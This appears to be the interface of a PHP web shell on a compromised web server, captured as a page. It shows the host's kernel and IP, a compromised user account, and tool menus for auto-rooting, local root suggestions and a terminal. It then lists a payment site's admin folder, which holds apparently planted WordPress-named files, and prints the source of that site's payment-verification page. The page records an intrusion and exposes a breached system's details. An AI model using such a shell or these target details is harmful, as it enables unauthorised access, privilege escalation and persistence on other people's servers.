Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
data sycho /
admin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
contact.php
9.39
KB
-rw-r--r--
2026-03-01 23:09
dashboard.php
12.62
KB
-rw-r--r--
2026-03-01 23:07
login.php
3.36
KB
-rw-r--r--
2026-03-01 20:35
logout.php
90
B
-rw-r--r--
2026-03-01 20:36
orders.php
24.63
KB
-rw-r--r--
2026-03-01 23:09
payment_methods.php
16.54
KB
-rw-r--r--
2026-03-01 23:03
save_contact.php
1.4
KB
-rw-r--r--
2026-03-01 20:30
services.php
15.75
KB
-rw-r--r--
2026-03-01 23:05
settings.php
6.88
KB
-rw-r--r--
2026-03-01 23:10
users.php
7.52
KB
-rw-r--r--
2026-03-01 23:08
verify_payment.php
13.79
KB
-rw-r--r--
2026-03-01 23:18
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php include '../includes/db.php'; session_start(); if (!isset($_SESSION['admin_id'])) { header('Location: login.php'); exit; } $order_id = $_GET['order_id'] ?? null; if (!$order_id) { header('Location: orders.php'); exit; } // Fetch Order with user and service details $stmt = $pdo->prepare(" SELECT o.*, u.name as client_name, u.email as client_email, s.name as service_name, s.price as service_price FROM orders o JOIN users u ON o.user_id = u.id JOIN services s ON o.service_id = s.id WHERE o.id = ? "); $stmt->execute([$order_id]); $order = $stmt->fetch(); if (!$order) { header('Location: orders.php'); exit; } // Handle Decision if (isset($_POST['process_payment'])) { $action = $_POST['action']; // 'Accept' or 'Reject' if ($action == 'Accept') { $stmt = $pdo->prepare("UPDATE orders SET payment_status = 'Paid', order_status = CASE WHEN order_status = 1 THEN 2 ELSE order_status END WHERE id = ?"); $stmt->execute([$order_id]); header('Location: orders.php?payment_approved=1'); } else { $stmt = $pdo->prepare("UPDATE orders SET payment_status = 'Unpaid', payment_screenshot = NULL WHERE id = ?"); $stmt->execute([$order_id]); header('Location: orders.php?payment_rejected=1'); } exit; } $sidebar_links = [ ['name' => 'Dashboard', 'icon' => 'fas fa-chart-line', 'active' => true, 'url' => 'dashboard.php'], ['name' => 'Users', 'icon' => 'fas fa-users', 'active' => false, 'url' => 'users.php'], ['name' => 'Services', 'icon' => 'fas fa-layer-group', 'active' => false, 'url' => 'services.php'], ['name' => 'Orders', 'icon' => 'fas fa-shopping-cart', 'active' => false, 'url' => 'orders.php'], ['name' => 'Payment Setup', 'icon' => 'fas fa-credit-card', 'active' => false, 'url' => 'payment_methods.php'], ['name' => 'Contact Details', 'icon' => 'fas fa-address-book', 'active' => false, 'url' => 'contact.php'], ['name' => 'Admin Details', 'icon' => 'fas fa-user-shield', 'active' => false, 'url' => 'settings.php'], ]; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Verify Settlement | Admin</title> <link rel="stylesheet" href="../assets/css/style.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <style> :root { --sidebar-width: 280px; } body { background: #fafafa; color: #0f172a; margin: 0; } .admin-header { display: none; position: fixed; top: 0; left: 0; right: 0; background: #fff; padding: 1.2rem 1.5rem; border-bottom: 1px solid rgba(0,0,0,0.05); z-index: 1000; justify-content: space-between; align-items: center; } .sidebar { width: var(--sidebar-width); height: 100vh; background: #ffffff; border-right: 1px solid rgba(0,0,0,0.05); position: fixed; left: 0; top: 0; padding: 3rem 1.5rem; display: flex; flex-direction: column; z-index: 1001; transition: transform 0.3s ease; } .main-content { margin-left: var(--sidebar-width); padding: 4rem; min-height: 100vh; } .sidebar-link { display: flex; align-items: center; gap: 1.2rem; padding: 1.1rem 1.5rem; border-radius: 12px; color: #64748b; margin-bottom: 0.5rem; font-weight: 600; text-decoration: none; transition: all 0.2s ease; } .sidebar-link:hover { color: var(--primary); background: #f8fafc; } .sidebar-link.active { color: var(--primary); background: #f0fdf4; } @media (max-width: 900px) { .admin-header { display: flex; } .sidebar { transform: translateX(-100%); padding-top: 6rem; } .sidebar.active { transform: translateX(0); } .main-content { margin-left: 0; padding: 7rem 1.5rem 3rem 1.5rem; } .dashboard-grid { grid-template-columns: 1fr !important; gap: 2rem !important; } } </style> </head> <body> <header class="admin-header"> <a href="dashboard.php" class="logo" style="font-size: 1.4rem; text-decoration:none; color:#0f172a;">CodeBy<span style="color: var(--primary);">Sycho</span></a> <div class="mobile-toggle" onclick="toggleSidebar()"> <i class="fas fa-bars"></i> </div> </header> <aside class="sidebar" id="sidebar"> <a href="dashboard.php" class="logo desktop-only" style="margin-bottom: 5rem; display: block; font-size: 1.8rem; text-decoration:none; color:#0f172a;">CodeBy<span style="color: var(--primary);">Sycho</span></a> <div style="flex-grow: 1;"> <?php foreach ($sidebar_links as $link): ?> <a href="<?php echo $link['url']; ?>" class="sidebar-link <?php echo $link['url'] == 'orders.php' ? 'active' : ''; ?>"> <i class="<?php echo $link['icon']; ?>"></i> <?php echo $link['name']; ?> </a> <?php endforeach; ?> </div> <div style="border-top: 1px solid #f1f5f9; padding-top: 2rem;"> <a href="logout.php" style="color: #ef4444; font-weight: 700; text-decoration: none;"><i class="fas fa-power-off"></i> Logout</a> </div> </aside> <main class="main-content"> <div style="margin-bottom: 3rem; display: flex; align-items: center; justify-content: space-between;"> <div> <a href="orders.php" style="color: var(--text-dim); text-decoration: none; font-weight: 700; font-size: 0.9rem; display: flex; align-items: center; gap: 0.5rem;"> <i class="fas fa-arrow-left"></i> Back to Lifecycle </a> </div> </div> <div class="dashboard-grid" style="display: grid; grid-template-columns: 1.2fr 0.8fr; gap: 3rem; align-items: start;"> <div> <section class="card admin-card" style="padding: 3rem;"> <span style="font-size: 0.75rem; font-weight: 800; color: var(--primary); text-transform: uppercase; letter-spacing: 2px; margin-bottom: 1rem; display: block;">Verification Protocol</span> <h2 style="font-weight: 800; font-size: 1.8rem; margin-bottom: 3rem; color: var(--text-main);">Process Settlement</h2> <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 2rem; margin-bottom: 3.5rem;"> <div style="background: #f8fafc; padding: 1.5rem; border-radius: 20px; border: 1px solid #f1f5f9;"> <p style="text-transform:uppercase; font-size:0.65rem; font-weight:800; color:#94a3b8; letter-spacing:1px; margin-bottom:1rem;">Operational ID</p> <div style="font-weight: 800; font-size: 1.1rem; color: #1e293b;">#CS-<?php echo str_pad($order['id'], 4, '0', STR_PAD_LEFT); ?></div> </div> <div style="background: var(--primary-light); padding: 1.5rem; border-radius: 20px; border: 1px solid rgba(34, 197, 94, 0.1);"> <p style="text-transform:uppercase; font-size:0.65rem; font-weight:800; color: #166534; letter-spacing:1px; margin-bottom:1rem;">Grand Total</p> <div style="font-weight: 900; font-size: 1.4rem; color: var(--primary);">$<?php echo number_format($order['service_price'], 2); ?></div> </div> </div> <div style="margin-bottom: 3.5rem;"> <p style="text-transform:uppercase; font-size:0.65rem; font-weight:800; color:#94a3b8; letter-spacing:1px; margin-bottom:1.5rem;">Project Environment</p> <div style="font-weight: 800; font-size: 1.4rem; margin-bottom: 1rem; color: var(--text-main);"><?php echo htmlspecialchars($order['service_name']); ?></div> <div style="display: flex; align-items: center; gap: 1rem; background: #fff; padding: 1.5rem; border: 1px solid #f1f5f9; border-radius: 20px;"> <div style="width: 45px; height: 45px; background: #f8fafc; border-radius: 12px; display: flex; align-items: center; justify-content: center; font-weight: 900; color: var(--primary); border: 1px solid #e2e8f0;"> <?php echo strtoupper($order['client_name'][0]); ?> </div> <div> <div style="font-weight: 800; font-size: 1rem; color: #1e293b;"><?php echo htmlspecialchars($order['client_name']); ?></div> <div style="font-weight: 600; font-size: 0.85rem; color: #64748b;"><?php echo htmlspecialchars($order['client_email']); ?></div> </div> </div> </div> <form action="" method="POST" style="display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem;"> <input type="hidden" name="action" id="decision_action"> <button type="submit" name="process_payment" value="Reject" style="background: #fff; color: #ef4444; border: 2px solid #fee2e2; padding: 1.2rem; border-radius: 15px; font-weight: 800; cursor: pointer; transition: all 0.2s ease;">Decline Proof</button> <button type="button" onclick="confirmDecision('Accept')" style="background: var(--primary); color: #fff; border: none; padding: 1.2rem; border-radius: 15px; font-weight: 800; cursor: pointer; box-shadow: 0 10px 20px var(--primary-glow);">Verify & Unlock</button> </form> </section> </div> <div> <section class="card admin-card" style="padding: 2.5rem;"> <h3 style="margin-bottom: 2rem; font-weight: 800; font-size: 1.1rem; color: var(--text-main);">Evidence of Transfer</h3> <?php if ($order['payment_screenshot']): ?> <div style="background: #f8fafc; padding: 1rem; border-radius: 25px; border: 1px solid #f1f5f9;"> <a href="../uploads/payments/<?php echo $order['payment_screenshot']; ?>" target="_blank" style="display: block; position: relative; overflow: hidden; border-radius: 18px;"> <img src="../uploads/payments/<?php echo $order['payment_screenshot']; ?>" style="width: 100%; display: block; filter: drop-shadow(0 10px 15px rgba(0,0,0,0.05));"> <div style="position: absolute; top: 1rem; right: 1rem; background: rgba(0,0,0,0.5); color: #fff; padding: 0.5rem 1rem; border-radius: 10px; font-size: 0.75rem; font-weight: 700; backdrop-filter: blur(5px);"> <i class="fas fa-search-plus"></i> Zoom </div> </a> </div> <?php else: ?> <div style="padding: 6rem 1rem; text-align: center; background: #f8fafc; border-radius: 25px; border: 2px dashed #e2e8f0; color: #94a3b8;"> <i class="fas fa-image" style="font-size: 2.5rem; margin-bottom: 1.5rem; opacity: 0.5;"></i> <p style="font-weight: 700; font-size: 0.9rem;">No manual proof provided</p> </div> <?php endif; ?> <div style="margin-top: 2rem; padding: 1.5rem; background: #fff8eb; border-radius: 18px; border: 1px solid #ffeeba; font-size: 0.85rem; color: #856404; font-weight: 600; line-height: 1.6;"> <i class="fas fa-exclamation-triangle" style="margin-right: 0.6rem;"></i> Carefully cross-examine the transaction reference before initializing development workflows. </div> </section> </div> </div> </main> <script> function toggleSidebar() { document.getElementById('sidebar').classList.toggle('active'); } function confirmDecision(act) { if(confirm("Authorize this settlement? This will escalate the order to 'Analysis Phase' and notify the client.")) { const form = document.querySelector('form'); const hidden = document.getElementById('decision_action'); hidden.value = act; const btn = document.createElement('input'); btn.type = 'hidden'; btn.name = 'process_payment'; btn.value = '1'; form.appendChild(btn); form.submit(); } } // Handle clicks outside sidebar to close on mobile document.addEventListener('click', function(event) { const sidebar = document.getElementById('sidebar'); const toggle = document.querySelector('.mobile-toggle'); if (window.innerWidth <= 900 && !sidebar.contains(event.target) && !toggle.contains(event.target) && sidebar.classList.contains('active')) { toggleSidebar(); } }); </script> </body> </html>